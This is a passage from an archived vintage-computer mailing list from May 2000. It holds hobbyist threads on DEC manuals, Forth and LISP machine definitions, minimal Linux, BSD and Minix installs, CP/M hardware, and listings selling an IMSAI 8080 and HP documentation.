the plasic "Digital Know Networks!" DEC PDP-11 Architecture Handbook, 1983-1984 DEC PDP-11 Microcomputer Interfaces Handbook 1983-1984 DEC PDP-11 Programming Card (the July 1975 one) DEC Remote System Manager VMS User Reference Card DEC Terminals + Printers Handbook, 1983-1984 DEC US Systems Price List Oct. 1, 1988 DEC US Systems Price List July 2, 1990 DEC VAX Technical Summary (the original that's not a handbook and not from DECbooks, copyrighted 1982) Gill, Arthur "Machine and Assembly Language Programming of the PDP-11" Grisham, Ralph "Assembly Language Programming for the CDC 6000 Series" Hewlett-Packard HP-16C Owner's Handbook Hewlett-Packard HP700/92 + HP700/94 User's Manual (2 copies) Hewlett-Packard HP7475A Graphics Plotter Interfacing + Programming Manual Hewlett-Packard HP7475A Graphics Plotter Operation and Interconnection Manual IBM 8130 and 8140 Processors Operator's Guide MDB MLSI-DLV11 Instruction Manual Wang 2200 BASIC-2 Language Reference Manual (kinda beaten but complete) VMS 4.4 Volumes 1B, 5A, 7B, 8B, 8D, and 10A, complete except for the I/O reference, part I. Also VMS 5.5 on TK50, with about 8 or 9 VMS manuals And I dunno if anyone besides me has any interest in old sales materials, but I have a bunch of extra DEC/Emulex/Wyse sales info if anyone is interested let me know and I'll get more details. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From Hans.Franke at mch20.sbs.de Mon May 8 14:59:35 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:51:35 2005 Subject: What a weekend! In-Reply-To: <200005052043.NAA20226@shell1.aracnet.com> References: <20000505155432.B30766@dbit.dbit.com> from "John Wilson" at May 05, 2000 03:54:32 PM Message-ID: <200005081800.e48I0Q912874@mail2.siemens.de> > > The one in Boston (or is it 50% in Cambridge?) MA used to have a tiny > > capsule of some kind (Mercury or Gemini?) but I never understood whether > > it was the real thing, or a mock-up. They had/have a lunar lander too but > > that's definitely fake. > Probably a fake, OMSI had/has a capsule that I'm fairly sure is fake. Years > ago it was a really cool exhibit. Last I saw though it was pretty trashed > out and I believe they were letting people climb in it. Of course OMSI has > really gone down hill in the last several years, and are now nothing more > than a childrens museum. HNF had a Sojus for display some weeks ago (The same Fujitsu Siemens had at CBit Hannover). Quite interesting, especialy since these are reused (AFAIK), unlike US stuff (except the Shuttle of course). FSC did display the capsule since a Siemens Computer was used on the last flight of this spaceship... Gruss H. -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From wilson at dbit.dbit.com Mon May 8 13:05:21 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:35 2005 Subject: Ford's '60s computer? In-Reply-To: <3916695B.1BDEB146@home.com>; from mranalog@home.com on Mon, May 08, 2000 at 12:14:35AM -0700 References: <3916695B.1BDEB146@home.com> Message-ID: <20000508140521.C6127@dbit.dbit.com> On Mon, May 08, 2000 at 12:14:35AM -0700, Doug Coward wrote: > It sounds like you're asking what computer Caroll Shelby used? > As I understand it Ford built the cars then they were modified > at Shelby's company, Shelby American, in L.A. You might try asking > the Los Angeles Shelby American Automobile Club,http://www.lasaac.org/ > or ask at Carroll Shelby official web page,http://www.carrollshelby.com/ Does Shelby still have a company (for cars that is, not chili mix)? I cold-called the company about 10 years ago (when we were both building turbo Chrysler L-cars) with some questions about intercoolers and was immediately connected to a friendly engineer who was happy to shoot the breeze. Very nice folks, I'm sure they'd be just as happy to talk about their old CAD systems, assuming they haven't all been laid off by now... John Wilson D Bit From ard at p850ug1.demon.co.uk Mon May 8 12:45:42 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:35 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <4.3.1.2.20000502044006.00b9cd70@mail.city-net.com> from "Bill von Hagen" at May 2, 0 04:53:40 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 413 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000508/cc308735/attachment.ksh From rivie at teraglobal.com Mon May 8 13:25:44 2000 From: rivie at teraglobal.com (Roger Ivie) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <20000508135559.B6127@dbit.dbit.com> References: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> <20000508135559.B6127@dbit.dbit.com> Message-ID: >Boy things have changed. When I first got into Linux, I ran it on a 40 MB >MFM drive and had lots of space to spare. Of course that was no TCP/IP and >certainly no GUI crap, and it didn't even have vi. But it might be a fun >exercise to put together a similarly minimal config from the latest sources, >it would probably still fit in a couple of cylinders of a modern disk drive. I dunno. Seems like whenever I try to build a minimal kernel these days, LILO tells me it's too big. Of course, it has been some time since I built one without networking... -- Roger Ivie TeraGlobal Communications Corporation 1750 North Research Park Way North Logan, UT 84341 Phone: (435)787-0555 Fax: (435)787-0516 From elvey at hal.com Mon May 8 13:55:33 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:35 2005 Subject: Looking for LMI LISP Machines In-Reply-To: Message-ID: <200005081855.LAA14590@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > Perhaps a PERQ was not a LISP machine if hardware support for LISP and > > supporting services such as garbage collection is your criteria, but a > > Yes, I guess that is how I define a LISP machine. In much the same way, > I'd not call a Jupiter Ace (UK home micro, Z80 based, Forth in ROM) a > 'forth machine'. Hi This is a hard call, I would call the Jupiter Ace a Forth machine. It did have a Z80 heart but the interface was the Forth interpreter. Even things like the NC4000 or RTX2000 that were considered a Forth engines had an underlying assembly language that was easily formed into Forth. The Jupiter Ace didn't have any specific operations or hardware to support Forth, other than the ROM. I guess, if one uses this as a drawing line, it makes some sense. I wonder how one could define the Canon Cat? Although, it had Forth in ROM, it was an application machine. Wouldn't one call it an application machine, even though it have an underlying processor with Forth overlayed on that and the application on top of that? I don't know how I'd define it and make sense. Dwight From pechter at pechter.dyndns.org Mon May 8 13:57:33 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: from Roger Ivie at "May 8, 2000 12:25:44 pm" Message-ID: <200005081857.OAA11837@bg-tc-ppp328.monmouth.com> > >Boy things have changed. When I first got into Linux, I ran it on a 40 MB > >MFM drive and had lots of space to spare. Of course that was no TCP/IP and > >certainly no GUI crap, and it didn't even have vi. But it might be a fun > >exercise to put together a similarly minimal config from the latest sources, > >it would probably still fit in a couple of cylinders of a modern disk drive. > > I dunno. Seems like whenever I try to build a minimal kernel these days, LILO > tells me it's too big. Of course, it has been some time since I built > one without > networking... > > -- > Roger Ivie > TeraGlobal Communications Corporation > 1750 North Research Park Way > North Logan, UT 84341 > Phone: (435)787-0555 > Fax: (435)787-0516 > > The kernel just needs to be build with make bzImage (this is the replacement for the gzipped zImage...) Lilo handles it just fine after that. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From allisonp at world.std.com Mon May 8 14:40:04 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:35 2005 Subject: Runoff on other platforms Re: I wrote 'Nuke Redmond' In-Reply-To: Message-ID: On Mon, 8 May 2000, Roger Ivie wrote: > >My solution was and still is Runoff, it provides what I need for test > >files and it runs on everything I have (NS* DOS, CP/M-80, DOS, WIN, VMS, > >RT11, RSTS, unix, linix). > > Could you point me at CP/M and DOS Runoff, please? Any serious documents I > do are done initially in RUNOFF and then converted to whatever they need to be > delivered in. I've taken to using HTML for non-serious documents Try looking in SIMTEL and OAK.oakland.edu site there are plenty of versions out there. If all else fails write it, not as if it's particulary complex. Be advised the CP/M versions I have are CA1981 and represent a useable subset. However even that is not a big limit as if I wanted prettier printing (fonts mostly) I can move the .rno to a platform that has that kind of support. Allison From ard at p850ug1.demon.co.uk Mon May 8 14:37:05 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:35 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <200005081855.LAA14590@civic.hal.com> from "Dwight Elvey" at May 8, 0 11:55:33 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1843 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000508/93c5630a/attachment.ksh From allisonp at world.std.com Mon May 8 14:42:17 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: Message-ID: > > Slackware, mandrake, redhat, cladara and howmany more all different? > > > >Reminds me of CPM2.2, all teh same cpm but modem programs were not always > >portable and media was often different. Same but, not really. > > Hmmmmm. Monopoly bad, lack of monopoly not good? No, monopoly bad. Lack of widely accepted standards worse. the latter comming from those that would alter it a little to five themselves a small (hoping for larger) advantage. Allison From SWMORETP at aol.com Mon May 8 14:41:58 2000 From: SWMORETP at aol.com (SWMORETP@aol.com) Date: Sun Feb 27 18:51:35 2005 Subject: Info on how to get digest version Message-ID: Does anyone know how to get the digest version of this group instead of single e-mails? Tony From allisonp at world.std.com Mon May 8 14:59:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <200005081717.NAA11404@bg-tc-ppp826.monmouth.com> Message-ID: > > Used the standard images and ran it on 486dx66 with 20m ram. No faster > > than W95 (tuned) and about the same as WinNT4.0/workstation. The Xserver > > is the limiter as it's served not native graphics on the 486 it's > > noticeable. It seemed robust enough but faster... not really. > > How much swap? > I ran on an AMD 5x86/133 with 32mb and it seemed to scream compared > with W95A. I have one those AMD5x86/133s, it's faster(it's a large cache 486/133) but same results. Swap was 40mb was 40mb is all cases. W95A is not the fasest version. I used W95C without IE/WOW/Plus packages installed and NS3.01 as the browser makes a huge difference hence my comment (tuned). The hotest W9x setup is W98se stripped and the W95A shell. You need both and something called 98lite20 to build it. It's akin to doing a system specific build under linux. > I've had linux working pretty well on an old 340mb IDE -- but that's > pretty much my personal minimum these days. I can still get almost > everything in an 850. I run several systems with W95C, Office97(excel, word), IE401, outlookexpress and paradox in 420mb with ~200mb free. The cpu is 5x86/133. That's about par. > Linux isn't really an OS release. That's why I prefer *BSD > which are OS releases rather than this kernel with that addon toolset > with those other apps. Freebsd is better from my experience. I've run that on EVERYthing from 386/16 (4mb ram) up and it is clearly faster than linux, win9x or NT. At least for the 2.2.6 release. Still doesn't beat my 6mhz Z80/64k with BM(bubbles memory), ramdisk and floppy. ;) > I find that it's not too hard to mix and match most apps with any Linux > version. One DUMB setup script file edit makes WordPerfect office play > nice with Caldera's 2.x. Which WPoffice? I have Caldara Openlinux 2.2 and 2.3 and WP8 is fine under KDE. Just has a huge footprint on teh disk though. > Yup... of course the IOBYTE version of Kermit worked with the VT180 > in S-L-O-W fashion... the customized non-generic version was much nicer. Only if IObyte was implemented (often it was not). There were a lot of poor BIOS implmentations that really hurt the performance and useability of CP/M. lack of typeahead was my pet peve due to lack of interrupts and poor modem performance (same reason). Allison From allisonp at world.std.com Mon May 8 15:05:56 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <20000508135559.B6127@dbit.dbit.com> Message-ID: I've put it on 120mb disks but that is not a user workstation for useability and windowing was not there at all. It did however run a useable system. If you want small, free and well documented Minix, unix like and 40mb is a full load with sources! runs on anything xt and up. Runs killer on a 1mb 386/16 I have. Allison On Mon, 8 May 2000, John Wilson wrote: > > Boy things have changed. When I first got into Linux, I ran it on a 40 MB > MFM drive and had lots of space to spare. Of course that was no TCP/IP and > certainly no GUI crap, and it didn't even have vi. But it might be a fun From allisonp at world.std.com Mon May 8 15:08:02 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:35 2005 Subject: Lots o' stuff that I don't need, it's free too In-Reply-To: <20000508175743.67682.qmail@hotmail.com> Message-ID: > Gill, Arthur "Machine and Assembly Language Programming of the PDP-11" > Also VMS 5.5 on TK50, with about 8 or 9 VMS manuals I would be interested in these! Allison From wvh at gethip.com Mon May 8 15:17:08 2000 From: wvh at gethip.com (Bill von Hagen) Date: Sun Feb 27 18:51:35 2005 Subject: Looking for LMI LISP Machines In-Reply-To: References: <200005081855.LAA14590@civic.hal.com> Message-ID: <4.3.1.2.20000508161345.00d50170@mail.city-net.com> I see your point, though I think that the call becomes substantially tougher in microcoded machines that have no explicit "%processor" mapping. However, I'm sure that we'll all agree that we don't need to squander additional bandwidth here to semantics! Bill At 08:37 PM 5/8/00 +0100, Tony Duell wrote: > > > > ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > > > > > Perhaps a PERQ was not a LISP machine if hardware support for LISP and > > > > supporting services such as garbage collection is your criteria, but a > > > > > > Yes, I guess that is how I define a LISP machine. In much the same way, > > > I'd not call a Jupiter Ace (UK home micro, Z80 based, Forth in ROM) a > > > 'forth machine'. > > > > > > Hi > > This is a hard call, I would call the Jupiter Ace a > > Forth machine. It did have a Z80 heart but the interface > > was the Forth interpreter. Even things like the NC4000 > > or RTX2000 that were considered a Forth engines had an > > underlying assembly language that was easily formed into Forth. > >Yes, that's the point. The Z80 is not really optimised to run Forth >(IMHO, the 6809 does better for this but anyway...). So while the Jupiter >Ace is a machine that runs forth, where the user interface is forth, etc, >it's not a 'forth machine'. I reserve that title for machines where there >is hardware support for features of the forth language (like 2 stacks, >threading, etc). > >The problem is that if you're not careful, any computer could be called a > machine where is any language or operating environment that >you choose. And that rather makes ' machine> meaningless. > > > > The Jupiter Ace didn't have any specific operations > > or hardware to support Forth, other than the ROM. I guess, > > if one uses this as a drawing line, it makes some sense. > > I wonder how one could define the Canon Cat? Although, > > it had Forth in ROM, it was an application machine. > > Wouldn't one call it an application machine, even though > > it have an underlying processor with Forth overlayed > > on that and the application on top of that? > >No. I'd call it a %processor based machine. That happens to run software >written in forth. > >-tony From pbboy at mindspring.com Mon May 8 15:28:00 2000 From: pbboy at mindspring.com (Robert) Date: Sun Feb 27 18:51:35 2005 Subject: Ford's '60s computer? References: <3916695B.1BDEB146@home.com> <20000508140521.C6127@dbit.dbit.com> Message-ID: <39172350.692A516C@mindspring.com> His web address is www.shelbyamerican.com. Last I read he was building a beefed-up aluminum 427 from scratch, mainly reworking the oiling system. Then he went to Chrysler to do the Series 1. Haven't heard much since then. John Wilson wrote: > On Mon, May 08, 2000 at 12:14:35AM -0700, Doug Coward wrote: > > It sounds like you're asking what computer Caroll Shelby used? > > As I understand it Ford built the cars then they were modified > > at Shelby's company, Shelby American, in L.A. You might try asking > > the Los Angeles Shelby American Automobile Club,http://www.lasaac.org/ > > or ask at Carroll Shelby official web page,http://www.carrollshelby.com/ > > Does Shelby still have a company (for cars that is, not chili mix)? > I cold-called the company about 10 years ago (when we were both building turbo > Chrysler L-cars) with some questions about intercoolers and was immediately > connected to a friendly engineer who was happy to shoot the breeze. Very nice > folks, I'm sure they'd be just as happy to talk about their old CAD systems, > assuming they haven't all been laid off by now... > > John Wilson > D Bit From wilson at dbit.dbit.com Mon May 8 15:58:31 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: ; from allisonp@world.std.com on Mon, May 08, 2000 at 04:05:56PM -0400 References: <20000508135559.B6127@dbit.dbit.com> Message-ID: <20000508165831.A6713@dbit.dbit.com> On Mon, May 08, 2000 at 04:05:56PM -0400, allisonp@world.std.com wrote: > If you want small, free and well documented Minix, unix like and > 40mb is a full load with sources! runs on anything xt and up. > Runs killer on a 1mb 386/16 I have. I can't forgive A.T. for the anti-assembly-language advocacy in his comp arch textbook, the guy makes absolutely no sense -- he "proves" the correctness of his personal bias using an anecdotal example where he varies every parameter at once and then tries to draw conclusions. But if Minix is "free" now, that must mean that at least he changed his mind about the bizarre licensing rules he used to have. IIRC it was ~$100 for the book+code and you could install "a few" copies, whatever that means. John Wilson D Bit From ard at p850ug1.demon.co.uk Mon May 8 15:46:14 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:35 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <4.3.1.2.20000508161345.00d50170@mail.city-net.com> from "Bill von Hagen" at May 8, 0 04:17:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1101 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000508/f14d0f08/attachment.ksh From allisonp at world.std.com Mon May 8 16:37:51 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:35 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before Message-ID: <001a01bfb935$e83780a0$6d64c0d0@ajp166> >I can't forgive A.T. for the anti-assembly-language advocacy in his comp arch He he teaches it, when was he the author of commercial code? ;) >at once and then tries to draw conclusions. But if Minix is "free" now, that >must mean that at least he changed his mind about the bizarre licensing rules >he used to have. IIRC it was ~$100 for the book+code and you could install >"a few" copies, whatever that means. the licensing went from noncommercial personal use to a more open license (details on line). The book at about 60$, I got it and it's useful as was the cdrom( with V2.0). one of the other characters has a version that runs under dos and also a version with real VM support. Theres IP support too. It's good where small is desireable and swap (2.0) is not on the wish list. Allison From xds_sigma7 at hotmail.com Mon May 8 18:03:36 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:35 2005 Subject: Update on what's still available Message-ID: <20000508230336.3557.qmail@hotmail.com> Ok, what's left is: Dataram Corp. P03 LSI-11 Parity Controller Product Specification 1 HP700/92 + HP700/94 User's Manual Wang 2200 BASIC-2 Language Reference Manual (kinda beaten but complete) VMS 4.4 Volumes 1B, 5A, 7B, 8B, 8D, and 10A, complete except for the I/O reference, part I. I know for sure that I have more stuff to get rid of, when I've found another somewhat significant amount I'll let the list know. Also, I will make lists of the advertising stuff from DEC, Emulex, etc. for those who were interested. Also, just to clarify, I meant that either you could trade me something *or* it was free... And money is not accepted, I meant trade other computer-related items. ;p Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From ss at allegro.com Mon May 8 18:04:48 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:51:35 2005 Subject: HP 3000/925 available Message-ID: <3916E5A0.10428.25044BE1@localhost> Re: > > Where is this located? The HP 3000/925 is in Houston, Texas. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From elvey at hal.com Mon May 8 18:46:42 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:36 2005 Subject: HP 3000/925 available In-Reply-To: <3916E5A0.10428.25044BE1@localhost> Message-ID: <200005082346.QAA18215@civic.hal.com> "Stan Sieler" wrote: > Re: > > > > Where is this located? > > The HP 3000/925 is in Houston, Texas. > > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler Hi Stan I've contacted the fellow in Texas about the 3000. I told him if he didn't have someone closer, I'd pay shipping to California. After initial 3 or 4 messages, he hasn't gotten back to me. I hope he is setting up to find out what the shipping cost are. It is a little on the large size for my collection but still smaller than a pinball machine. I'll email him again in another couple of days to see if I'm still the one that he'll let have it. I realize that if someone local comes to pick it up, I'm out but he seemed to think that shipping wouldn't be an issue, as long as I was willing to pay for it. From pinball machines, I'd think it would be on the order of $150 to $200 someplace. See you Saturday. Dwight From pechter at pechter.dyndns.org Mon May 8 18:55:20 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:36 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: from "allisonp@world.std.com" at "May 8, 2000 03:59:13 pm" Message-ID: <200005082355.TAA01119@bg-tc-ppp1114.monmouth.com> > Swap was 40mb was 40mb is all cases. W95A is not the fasest version. I > used W95C without IE/WOW/Plus packages installed and NS3.01 as the browser > makes a huge difference hence my comment (tuned). The hotest W9x setup is > W98se stripped and the W95A shell. You need both and something called > 98lite20 to build it. It's akin to doing a system specific build under > linux. Getting W95C legally was difficult if you're not an OEM or buying it with hardware. I'm going to look at 98lite20. I've been pretty pleased with the performance on Win98. > > Linux isn't really an OS release. That's why I prefer *BSD > > which are OS releases rather than this kernel with that addon toolset > > with those other apps. > > Freebsd is better from my experience. I've run that on EVERYthing from > 386/16 (4mb ram) up and it is clearly faster than linux, win9x or NT. > At least for the 2.2.6 release. Actually, I'm wondering if the FreeBSD 1.1.5.1 would run on some of the new hardware. I've got a tape of it and I'm thinking about building it. > > > I find that it's not too hard to mix and match most apps with any Linux > > version. One DUMB setup script file edit makes WordPerfect office play > > nice with Caldera's 2.x. > > Which WPoffice? I have Caldara Openlinux 2.2 and 2.3 and WP8 is fine > under KDE. Just has a huge footprint on teh disk though. Word Perfect Office 2000... It's huge (the full load of the Professional version is around 340mb). > > Yup... of course the IOBYTE version of Kermit worked with the VT180 > > in S-L-O-W fashion... the customized non-generic version was much nicer. > > Only if IObyte was implemented (often it was not). There were a lot of > poor BIOS implmentations that really hurt the performance and useability > of CP/M. lack of typeahead was my pet peve due to lack of interrupts > and poor modem performance (same reason). The VT180 was one of the best CP/M machines to use. Typeahead, good hardware, a great screen and the best keyboard. Just too expensive for most people. > > Allison Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Historical at aol.com Mon May 8 19:58:38 2000 From: Historical at aol.com (Historical@aol.com) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 Message-ID: <66.36e59e5.2648bcbe@aol.com> In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain Napalm' Conner" writes: << Again, to bring this back on topic, there have been plenty of operating systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were all contained in ROM, were/are ROMmable and extensible. And all are older than 10 years old. Even MS-DOS came in ROM format for some computers (although I'm not sure if it ran out of ROM, or was copied to RAM before running). >> The Mac OS has never been fully contained in ROM. Starting with the Lisa in 1983 and the original Mac in 1984, Apple used a 64k ROM that contained GUI program routines (the Macintosh ToolKit). These machines still had to boot a floppy which made calls to the ROM. Best, David Greelish Publisher Classic Computing Press www.classiccomputing.com From jeff.kaneko at juno.com Mon May 8 20:51:55 2000 From: jeff.kaneko at juno.com (jeff.kaneko@juno.com) Date: Sun Feb 27 18:51:36 2005 Subject: IMSAI 8080 Message-ID: <20000508.205159.-4091677.0.jeff.kaneko@juno.com> This is being offered by a third party. All inquiries should be made to the e-mail near the end of this message. ----------------------------------------------- ** FOR SALE: IMSAI 8080 ** Serial Number: 1009006 Boards installed: IMSAI MPU-A 8080 CPU CCS Model 2422 Multimode Floppy Controller SC DIgital Model 32K Memory board Two memory boards, maker unknown (see pic) Tei IO 3P+3S Serial/parallel io card S-100 Extender board Northstar MDC-A4 Hard-sector Floppy Controller Documentation: "A couple of boxes" of hardware & sofware docs. Software: Stack of hard-sectored diskettes, that looks like they have the OS, and some applications on them, couldn't tell for sure. Package also includes: Pair of MPI floppy drives in a hand-made copper cadrive cabinet (see pic). OKI Microline 82 printer Apple pen plotter B/W Television Set, modified for use as a monitor. ------------------------------------------------------ I looked at this stuff the other nite; it looks like a pretty nice example of the IMSAI with its original CPU card. It's a bit dusty inside, but cosmetically fine otherwise. No broken paddle switches, and it comes with the original steel top (made of boilerplate). I've been told that there may be more items added to the inventory, but this is what has surfaced so far. It was working when this was put away, but hasn't been powered up since. Actual electrical condition unknown. Photos can bee seen at: http://home.kscable.com/kh6jjn/imsai_front.jpg http://home.kscable.com/kh6jjn/imsai_side.jpg http://home.kscable.com/kh6jjn/disk_drives.jpg http://home.kscable.com/kh6jjn/memory_board.jpg ------------------------------------------------------- All offers/bids/whatever should be sent via e-mail to: DENYS FREDRICKSON, at: denysgf@juno.com Thank you for your attention. We now return you to our regularly scheduled programme. . . From kyrrin at bluefeathertech.com Mon May 8 21:03:18 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:36 2005 Subject: HP9825 Manuals and Tapes Available Message-ID: <39170F76.28892.1E8958D5@localhost> I just posted a listing on Haggle's Antique Computers section (I absolutely REFUSE to deal with E-pay) as follows: http://www.haggle.com/cgi/getitem.cgi?id=202308845 It's for a stack of manuals/tapes on the HP9825 desktop computer. Full description's at the site. I thought about limiting the posting to the list, but I wanted to give any of you who have a 9825, and might need the docs, a fair crack at it. Thanks much. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From kyrrin at bluefeathertech.com Mon May 8 21:21:02 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:36 2005 Subject: PDP-8 book available Message-ID: <3917139E.24047.1E9995B6@localhost> Ok, here's another Haggle item at: http://www.haggle.com/cgi/getitem.cgi?id=202308864 It's a copy of "Introduction to Programming" (DEC) that seems to have been written around the PDP-8. The bottom of the front cover reads "PDP-8 Handbook Series" (wazzat a clue or what?) ;-) Starting bid is two bucks plus mailing. Help me find this one a good home. Thanks! -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From kyrrin at bluefeathertech.com Mon May 8 21:28:12 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:36 2005 Subject: Couple of cheapies Message-ID: <3917154C.9034.1EA02500@localhost> And, finally, a couple of cheapies. RT-11 Pocket Guide, still in the shrink wrap, for Ver. 5.0. Since I don't use RT-11, this is not very useful to me. First person to offer $5.00 (Shipping included!) gets it. I also have a data cable as used on the HP 262x series terminals. It's a DCE species, HP part #5061-4216. Has the 50-pin Amphenol 'Micro-Ribbon' connector on one end, and a female DB25 on the other. Same price: $5.00 (Includes shipping). In the event of multiple responses, priority goes to the E-mail with the earlier time/date stamp. Thanks much! -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allisonp at world.std.com Mon May 8 20:37:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:36 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseenthis before Message-ID: <003c01bfb959$1c2ecbc0$6d64c0d0@ajp166> >Getting W95C legally was difficult if you're not an OEM or buying it with >hardware. I'm going to look at 98lite20. I've been pretty pleased with >the performance on Win98. Simple, buy 95b and hit their site for hte upgrades. Most of them are for USB anyway. >Actually, I'm wondering if the FreeBSD 1.1.5.1 would run on some of >the new hardware. I've got a tape of it and I'm thinking about >building it. Likely it would but you'd have problems with hardware that is not supported as it didn't exist then. >> Which WPoffice? I have Caldara Openlinux 2.2 and 2.3 and WP8 is fine >> under KDE. Just has a huge footprint on teh disk though. > >Word Perfect Office 2000... It's huge (the full load of the Professional >version is around 340mb). I heard it was a monster. I know people that like WP-8 as it does things format wise that Word cant and it's very useful to lawyers for that. >The VT180 was one of the best CP/M machines to use. Typeahead, >good hardware, a great screen and the best keyboard. Just too expensive >for most people. Yep, it's a winner. I have several (plus gave away a bunch more over the years). It's a nice machine to hack as well. Mods I've done include 6mhz z80, two sided, 3.5" 781k/720k floppy and a romdisk/ramdisk. plus a bubble memory interface. The AmproLB is another really great CP/M engine with SCSI even. There were some later designs like the P112 (from OZ) with a 16mhz Z180 IDE and all the other goodies. Another favorite is the Micromint SB180 with the scsi/com card 9.6mhz 64180 (z180) 256k ram FDC that works with any 8/5.25/3.5 disk and a SCSI interface for hard disk. Kaypros are OK, the display software is slow but they run well especially if they have turborom installed. Allison From cmcmanis at mcmanis.com Mon May 8 22:29:32 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:36 2005 Subject: Busses vs no busses Message-ID: <3917861C.A1D9E3BE@mcmanis.com> One of the most amazing things I've witnessed in the computer evolution is the growth, and death, of busses. Some, like Q-bus and S-100 are pretty simple, others like SBus and the switching fabric that constitutes the SparcServer 490 are much more complex. When asked once why I prefer the Q-bus 11's and Vaxen my answer is always because I can get lots of I/O to do neat things for those busses. (I'm writing a program for the PDP-8 to control an LED sign using a couple of 12bit parallel i/o cards. ) But the trend in PC's has gone to fewer and fewer "slots" and soon will be no slots. I thought that the bus was dead until I realized that USB has the same bandwidth as Q-bus and FireWire has much better bandwidth. So presumably we'll see some interesting I/O devices that use these busses in the future. --Chuck From dpeschel at eskimo.com Mon May 8 23:42:29 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:36 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <66.36e59e5.2648bcbe@aol.com> from "Historical@aol.com" at May 08, 2000 08:58:38 PM Message-ID: <200005090442.VAA00176@eskimo.com> David Greelish wrote: > In a message dated Mon, 8 May 2000 00:27:26 -0400 (EDT), Sean 'Captain > Napalm' Conner" writes: > > << Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original 